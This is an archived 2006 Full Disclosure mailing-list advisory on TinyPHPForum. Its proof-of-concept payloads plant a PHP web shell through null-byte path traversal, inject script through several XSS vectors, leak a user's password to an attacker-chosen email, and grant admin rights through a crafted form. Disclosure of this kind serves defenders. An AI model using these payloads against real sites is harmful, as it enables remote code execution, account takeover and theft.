Full Disclosure mailing list archives
TinyPHPForum Multiple Vulnerabilities
From: SirDarckCat <sirdarckcat () gmail com>
Date: Sat, 29 Jul 2006 23:44:52 -0500
TinyPHPForum Multiple Vulnerabilities. http://sourceforge.net/projects/tinyphpforum/ ---------------------------------------------------- TinyPHPForum is a forum based on file handling. And has shown multiple vulnerabilities in several previous releases. Here I present the bugs for the actual version at 29/July ==================================================== Arbitrary File Handling. Code: PoC: http://www.server.com/action.php?action=npost POST: fid=../rshell.php%00 tid=<?php system($_GET['c']);?> txt=tmp ------ Code: http://www.server.com/split.php?action=split&f=/../rshell.php%00&t=<?phpsystem($_GET['c']);?>&p=<?php system($_GET['c']);?> ------ ==================================================== XSS, even with magic_quotes: Code: PoC: [a]' style='top:epresionje(eval(this.sss));' sss='alert();[/a] [img]javascript:alert();[/img] ------ XSS. Code: PoC: http://www.server.com/header.php?siteName=<XSS>&title=<XSS>&style=<XSS> ------ Code: PoC: http://www.server.com/search.php?query=<XSS> ------ ==================================================== Password Disclosure: Code: http://www.server.com/error.php?err=200&uname=victim&email=attacker () mail com ------ ==================================================== Admin Maker xD Code: PoC: <FORM action=updatepf.php method=post enctype="multipart/form-data"> NOM:<INPUT name=uname><br> <INPUT type=file name=userfile><br> MAIL: <INPUT type=text name=email> <input type=hidden name=makeadmin value=true> <input type=hidden name=stat value=true> <input type=hidden name=ulang value=en> <input type=hidden name=uskin value=default> <INPUT type=submit value="Enviar consulta"> </FORM> ------ A working exploit is anexed. ==================================================== Att. Sirdarckcat www.elhacker.net -- Att. SirDarckCat () GMail com http://www.google.com/search?q=sirdarckcat
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- TinyPHPForum Multiple Vulnerabilities SirDarckCat (Jul 29)